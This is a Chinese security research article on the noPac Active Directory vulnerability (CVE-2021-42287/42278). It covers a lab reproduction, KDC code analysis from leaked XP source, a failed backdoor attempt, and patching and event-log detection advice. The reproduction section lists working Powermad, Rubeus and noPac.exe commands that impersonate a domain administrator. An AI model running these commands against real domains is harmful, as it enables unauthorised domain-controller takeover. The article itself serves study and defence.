长亭百川云 - 文章详情

长亭百川云

技术讨论漏洞库IP 威胁情报在线工具

从 XP 源码泄露看 nopac 漏洞

d_infinite

9

2021-12-17

原文链接

Cliff Fisher (Microsoft AD PM) 11.10 在推特上连续发布了几条和AD域有关的CVE漏洞，引发安全人员持续关注。之后Charlie Clark于12.10 在其博客揭秘了CVE-2021-42287的利用方式并给出了武器化利用的手段，于是该漏洞相关消息在国内迅速传播。攻击者仅需要一个域内账户或通过NTLM Relay即可利用此漏洞拿下域控权限。

0x00 Windows域认证基础

域环境下Windows Kerberos认证流程如下：

Detecting Kerberoasting Activity – Active Directory Security

  1. User与KDC认证，只要账户密码正确即可获得KDC的Ticket(即TGT)与对应的SessionKey，Ticket中扩展了PAC，PAC包括User的用户信息，组信息。

  2. User在拿到KDC的TGT与对应的SessionKey之后向KDC申请Service的Ticket(即TGS)，不管User有无访问Service的权限，KDC都会返回给User需要的Ticket(不验证PAC)，KDC会把TGT中的PAC数据拷贝到TGS中。

  3. User携带TGS与Service Server建立通信。

  4. Service通过PAC判断User是否有权限访问Service,判断过程：

    • 把PAC传递给KDC判断PAC签名是否正确，确保PAC没有被篡改。

    • 判断User有无权限访问，这部分属于Windows访问控制的内容。

  5. User有权限则Service与User可成功建立通信。

0x01 漏洞复现

在拥有一个域内普通用户且该用户具有创建机器用户的权限下，利用过程如下:

1# 0. Create Machine Account
2# https://github.com/Kevin-Robertson/Powermad
3New-MachineAccount -MachineAccount TestSPN -Domain test001.com -DomainController dc1.test001.com -Verbose
4# Password Abc123!
5
6# 1. Clear SPNs
7# https://github.com/ZeroDayLab/PowerSploit/blob/master/Recon/PowerView.ps1
8Set-DomainObject "CN=TestSPN，CN=Computers，DC=test001，DC=com" -Clear 'serviceprincipalname' -Verbose
9
10# 2. Change Machine Account SamAccountName
11Set-MachineAccountAttribute -MachineAccount TestSPN -Value "DC1" -Attribute SamAccountName -Verbose
12
13# 3. Request TGT
14.\Rubeus.exe asktgt /user:DC1 /password:Abc123! /domain:test001.com /dc:dc1.test001.com /nowrap
15
16# Change Machine Account SamAccountName
17Set-MachineAccountAttribute -MachineAccount TestSPN -Value "TestSPN" -Attribute SamAccountName -Verbose
18
19# 4. Request S4U2self
20.\Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:dc1.test001.com /self /altservice:LDAP/dc1.test001.com /ptt /ticket:[TGT]

首先创建机器用户并清除其SPN.

创建机器用户可能会出现自动为其设置SPN的情况，需要清除以方便更改SamAccountName属性

(这里复现的时候新建机器用户并没有自动创建SPN)

image-20211213123931087

然后把机器用户的samaccountname属性修改为DC1 ， 修改为DC1是因为域控机器的名称DC1$

image-20211213124337333

然后使用Rebeus请求所创建机器用户的TGT

image-20211213124432193

之后再修改机器用户的SamAccountName:

image-20211213124610481

然后再根据之前请求的TGT通过S4USelf为Administrator 请求 "自身" LDAP/dc1.test001.com 服务的可转发TGS.

image-20211213124746892

klist可以发现攻击成功.

image-20211213125027168

Windows下可以直接使用https://github.com/cube0x0/noPac利用:

noPac.exe -domain test001.com -user user1 -pass 1q1q1q1Q /dc dc1.test001.com /mAccount de1 /mPassword passworD!123 /service cifs /ptt

image-20211213213005382

Linux下有https://github.com/WazeHell/sam-the-admin项目可以直接利用

0x02 一些探索

复现完之后存在一些疑惑：

  1. 为什么是创建机器用户来进行利用?非机器用户是否也可以利用?

于是我创建了一个普通用户来测试:

image-20211213213708014

然后手动修改其SamAccountName

image-20211213213716776

使用demo1请求TGT

image-20211213213730824

修改demo1的SamAccountName之后再请求TGS，发现利用失败

image-20211213213740497

  1. 为什么获取到DC1的TGT之后是通过S4USelf请求TGS，直接根据TGT请求TGS是否可行?

测试:

1Set-MachineAccountAttribute -MachineAccount TestSPN -Value "DC1" -Attribute SamAccountName -Verbose
2
3.\Rubeus.exe asktgt /user:DC1 /password:Abc123! /domain:test001.com /dc:dc1.test001.com /nowrap
4
5Set-MachineAccountAttribute -MachineAccount TestSPN -Value "TestSPN" -Attribute SamAccountName -Verbose
6
7.\Rubeus.exe asktgs /domain:test001.com /dc:dc1.test001.com /service:cifs/dc1.test001.com /ptt /ticket:[TGT] /nowrap

image-20211213213815227

发现请求得到的票据是DC1的而不是DC1$的，所以无法利用:

image-20211213213830665

0x03 漏洞分析

根据 https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html 的复现分析.我们可以在泄露的XP源码中找到大概的漏洞代码，下面对几个函数进行分析

KdcGetTicketInfo

KdcGetTicketInfo函数根据GenericUserName从Ticket中获取TicketInfo的大致处理逻辑:

首先判断是否是krbtgt账户，如果是则直接调用GetKrbtgt函数获取TicketInfo

image-20211213130115540

然后再判断是否是本域的用户，并进行了三次查找:

image-20211213130517612

  • 首先直接查找传入的用户

image-20211213131831317

  • 然后查找 传入的username+$

image-20211213132054069

  • 仍未找到则查找其 altSecurityIdentities 属性的value

image-20211213132344607

由此分析出是KdcGetTicketInfo获取TicketInfo的逻辑存在问题，对UserName做了多余的处理.

但是以上代码还无法解释为什么获取DC1的TGT之后，通过S4USelf请求DC1$的TGS可以
成功，但是直接根据TGT请求TGS依然是DC1的TGS.

疑惑1

为什么普通用户无法利用，必须使用机器账户才行?

再仔细查找 KdcGetTicketInfo 这部分代码，可以发现根据Username查找时，首先根据其Guid从本地SAM文件中查找Username，

image-20211213222941871

普通用户的GUID可以在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileGuid和HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList找到.

对于SYSTEM用户等，不存在其GUID.

对于机器账户，搜索发现存在注册表项HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography可能存在GUID，但是在Server2016和Windows10上并未找到.

所以普通用户无法利用，获取得到SYSTEM等特殊用户其属性值较难更改，需要权限较高，只有使用普通用户创建机器用户再利用的方式比较容易实行.

疑惑2 & KdcInsertAuthorizationData

上面这个问题的原因在于KDC Server对于PAC的处理， S4USelf得到的TGS，其PAC是重新构造的，而直接请求得到的TGS是直接复制的，下面是分析过程：

在KdcInsertAuthorizationData中可以找到KDC Server获取PAC的处理逻辑:

如果不是S4U的请求，则直接从TGT的AuthData中提取PAC
image-20211213221017789

如果是S4U请求，首先调用KdcGetS4UTicketInfo请求获取S4UUserInfo，再调用kdcGetPacAuthData函数来构造PAC data。

kdcGetPacAuthData

image-20211213221103419

若原票据不存在PAC，则会构造一个新的PAC

image-20211213221120552

若无法构造，则直接复制PAC

image-20211213221130877

KdcGetS4UTicketInfo

kdcGetPacAuthData构造PAC信息主要依赖于KdcGetS4UTicketInfo返回的S4UUserInfo结构，S4UUserInfo结构体:

1typedef struct _USER_INTERNAL6_INFORMATION {
2   USER_ALL_INFORMATION I1;
3   LARGE_INTEGER       LastBadPasswordTime;
4   ULONG               ExtendedFields;
5   BOOLEAN             UPNDefaulted;
6   UNICODE_STRING      UPN;
7   PUSER_ALLOWED_TO_DELEGATE_TO_LIST A2D2List;
8} USER_INTERNAL6_INFORMATION， *PUSER_INTERNAL6_INFORMATION;

其中USER_ALL_INFORMATION是一些关键信息，如UAC，PrimaryGroupId

image-20211213222038757

在KdcGetS4UTicketInfo函数的处理逻辑中发现调用了KdcGetTicketInfo函数

image-20211213222118459

综上解释了为什么该漏洞利用，获取到DC1的TGT之后必须通过S4USelf获取TGS才行。

一些细节

这篇文章的一些细节：

  1. 为什么要删除SPN?

在这篇文章讲到了如果不删除SPN，在修改samAccountName、DnsHostname或msDS-AdditionalDnsHostName属性时，SPN列表将自动更新其值，所以建议在更改SamAccountName之前删除SPN。

  1. 为什么使用不带PAC的TGS可以请求得到带PAC的ST，这个过程签名如何验证?

TGS_REQ阶段不会校验PAC，所以即使PAC是错误的也不影响获取ST.可以参考微软文档， 只有在AP_REQ请求时，Server会选择是否把PAC传给Server进行验证。

image-20211213223458635

  1. MachineAccountQuota相关内容:

    MachineAccountQuota (MAQ)是一个域级别属性默认值为10，即默认情况下允许无特权的用户最多将10台计算机连接到AD域，也就是最多可以新建10个机器用户。且创建者帐户被授予对某些机器帐户对象属性的写访问权限，包括SPN和SamAccountName等关键属。

  2. samAccountName属性: 可以改变samAccountName的值为任何值， 只要不与别的域账户samAccountName重复即可. 特殊情况: samAccountName可以用$或者空格结尾。

失败的Backdoor利用

根据前面的代码分析以及Charlie Clark文章中的挖掘可以想到域用户的altSecurityIdentities属性也是可以用来做Backdoor的。理论上分析在域管账户的altSecurityIdentities添加一个外域的用户链接即可构成后门，但是却没有复现成功。

首先准备两个域环境，test001.com(内部域)和test.loca(外部域)

首先在test001\admin123账户的altSecurityIdentities属性上添加 Kerberos:hacker123@test.local值

image-20211214115522523

然后在test.local申请一张不带PAC的hacker123用户的TGT票据:

1.\Rubeus_noPac.exe asktgt /user:hacker123 /password:1q1q1q1Q /domain:test.local /dc:exdc1.test.local /nowrap /nopac

image-20211214132345716

再在test001.com域通过S4U申请一张cifs/dc1.test001.com的TGS,发现会直接报错 KDC_ERR_WRONG_REALM

1.\Rubeus_noPac.exe s4u /impersonateuser:Administrator /nowrap /dc:dc1.test001.com /self /altservice:cifs/dc1.test001.com /ptt /ticket:[TGT]

image-20211214133654625

分析错误原因：与Charlie Clark文章中得到结果不一致的原因可能为Charlie Clark文章中两个域处于同一个根域zeroday.lab中，而我复现时的两个域是不同的根域，所以没有复现成功。

(感兴趣的师傅可以继续尝试)

0x04 检测&&防护

  1. 安装微软的补丁 KB5008602和KB5008380
  2. 修改AD域的MachineAccountQuota的属性值为0.
  3. 检测Windows日志序列，因为攻击会产生很多日志，所以可以通过安全日志检测攻击行为：
    • 4673日志：请求SeMachineAccountPrivilege特权
    • 4741日志：创建机器用户
    • 4724日志：重置新建机器用户的密码
    • 4742日志：更改ServicePrincipalNames值为%%1793
    • 4742日志：修改TargetUserName为DC1
    • 4781日志：已经更改账户名
    • 4768日志：请求TGT
    • 4742，4781日志，再次修改机器账户名
    • 4769日志：请求TGS，存在附加票据信息。

招聘

长亭产品研发中心底下的安全研究团队正在招聘 主机安全/容器安全/静态分析 等领域的产品安全研究员，如果你和我一样，喜欢研究红蓝对抗，并希望将它落地到产品当中，欢迎投递简历，投递邮箱为jingyuan.chen@chaitin.com

相关推荐
广告图
热门产品
雷池 WAF 社区版
IP 威胁情报
网站安全监测
百川漏扫服务
云堡垒机
百川云
技术文档
开发工具
漏洞库
网安百科
安全社区
CT STACK 安全社区
雷池社区版
XRAY 扫描工具
长亭科技
长亭科技官网
万众合作伙伴商城
长亭 BBS 论坛
友情链接
关注或联系我们
添加百川云公众号，移动管理云安全产品
咨询热线：
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服
Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2